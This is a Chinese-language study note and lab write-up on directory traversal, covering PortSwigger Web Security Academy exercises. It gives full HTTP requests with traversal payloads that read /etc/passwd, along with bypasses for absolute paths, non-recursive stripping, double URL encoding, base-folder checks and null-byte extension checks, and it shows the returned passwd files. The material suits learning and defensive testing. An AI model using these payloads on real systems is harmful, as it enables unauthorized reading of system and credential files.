#前言:

学的有点杂,记录一下还是比较好的

什么是目录遍历?

个人理解:攻击者可以访问未经授权的文件,对服务的目录进行操作。

官方:目录遍历(也称为文件路径遍历)是一种 Web 安全漏洞,允许攻击者读取正在运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据以及敏感的操作系统文件。在某些情况下,攻击者可能能够写入服务器上的任意文件,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。

通过目录遍历读取任意文件(我也懒的举例了,粘贴吧)

考虑一个显示待售商品图像的购物应用程序。图像通过一些 HTML 加载,如下所示:

URLloadImage接受一个filename参数并返回指定文件的内容。图像文件本身存储在磁盘上的位置/var/www/images/。为了返回图像,应用程序将请求的文件名附加到该基目录,并使用文件系统 API 读取文件的内容。在上述情况下,应用程序从以下文件路径读取:

/var/www/images/218.png

该应用程序没有实现针对目录遍历攻击的防御,因此攻击者可以请求以下 URL 从服务器的文件系统检索任意文件:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

这会导致应用程序从以下文件路径读取:

/var/www/images/../../../etc/passwd

该序列../在文件路径内有效,并且意味着在目录结构中向上一级。三个连续的../序列从文件系统根开始/var/www/images/,因此实际读取的文件是:

/etc/passwd

在基于 Unix 的操作系统上,这是一个标准文件,包含在服务器上注册的用户的详细信息。

在 Windows 上, 和../都是..\有效的目录遍历序列,检索标准操作系统文件的等效攻击是:

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

到了靶场环节

根据提示,图像的加载存在目录遍历漏洞,然后去访问跟目录下/ect/passwd的文件

在http记录中找到一个图像加载的数据包,修改filenmae 参数。

GET /image?filename=../../../etc/passwd HTTP/2
Host: 0a8c003503af990982e9511e0092006c.web-security-academy.net
Cookie: session=XvVJPTUbK0kVF9PgJvwg0Uu5nlOUjUiV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0a8c003503af990982e9511e0092006c.web-security-academy.net/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

发送得到响应

HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false

利用文件路径遍历漏洞的常见障碍

网站会对用户访问的网站文件进行防御。

使用文件的绝对路径引用文件。

通过构造绝对路径,攻击者可以绕过应用程序可能对相对路径的权限限制。这允许他们访问他们通常无权访问的文件或目录。(简单点就是 对相对路径进行了限制,可以使用绝对路径访问)

如下:

GET /image?filename=/etc/passwd HTTP/2
Host: 0a0e0008037c9f5b818dca5800500068.web-security-academy.net
Cookie: session=z3fhbKxqbDk1eJBJ8RqkVXIPj4Hzi1zl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0a0e0008037c9f5b818dca5800500068.web-security-academy.net/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers


响应:

HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false

文件路径遍历,非递归地剥离遍历序列

网站只要发现了’../‘这样的路径就会进行去除,有点像waf遇到危险字符就进行拦截。这种方法用来确保应用程序只能访问正确的文件,而不会被欺骗访问其他地方。

靶场的提示还是和第一个一样。

这个绕过的方法使用**….//….//**个人感觉和文件上传的双写绕过有点类似,当网站发现了../进行剥离。经过处理还是../

....// ——->> ../

GET /image?filename=....//....//....//etc/passwd HTTP/2
Host: 0a74008704141924810cf9fb000000b0.web-security-academy.net
Cookie: session=UnA2pIO4eC9xSppw8zwZT8BdDfDyM0CS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0a74008704141924810cf9fb000000b0.web-security-academy.net/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers


通过多余的 URL 解码去除遍历序列

在某些情况下,例如在 URL 路径或filename请求的参数中multipart/form-data,Web 服务器可能会在将输入传递给应用程序之前删除任何目录遍历序列。有时,您可以通过 URL 编码或什至对字符进行双重 URL 编码来绕过这种清理../,从而分别产生%2e%2e%2f%252e%252e%252f。各种非标准编码,例如..%c0%af..%ef%bc%8f,也可以达到目的。

绕过的方式是通过url两次编码的方式进行。

..%25%2f..%25%2f

GET /image?filename=..%252f..%252f..%252fetc/passwd HTTP/2
Host: 0a8a0010031444fc8446d12200cb00f0.web-security-academy.net
Cookie: session=0AtWPrhHQhcvRG5aRcVjlPH2mgr1rZ97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0a8a0010031444fc8446d12200cb00f0.web-security-academy.net/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

验证路径开头

如果应用程序要求用户提供的文件名必须以预期的基本文件夹开头,例如/var/www/images,则可以包含所需的基本文件夹,后跟合适的遍历序列。例如:

filename=/var/www/images/../../../etc/passwd

如果把所需的基本文件夹去掉就会提示(缺少参数“文件名”),所以要加上

GET /image?filename=/var/www/images/../../../etc/passwd HTTP/2
Host: 0a030073038044a28436d63200480044.web-security-academy.net
Cookie: session=cxkkHxwtCwJueBPUdHhGulYZMYdEmvMV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0a030073038044a28436d63200480044.web-security-academy.net/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

空字节绕过验证文件扩展名

如果应用程序要求用户提供的文件名必须以预期的文件扩展名结尾,例如.png,则可以使用空字节在所需扩展名之前有效地终止文件路径。例如:

filename=../../../etc/passwd%00.png

有点像文件上传中get方式的00截断

GET /image?filename=../../../etc/passwd%00.png HTTP/2
Host: 0a820088043cb2468357f16e00af009b.web-security-academy.net
Cookie: session=GLZ96R5x8EEDG3gcyvUUpstpVDdrkyBX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0a820088043cb2468357f16e00af009b.web-security-academy.net/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers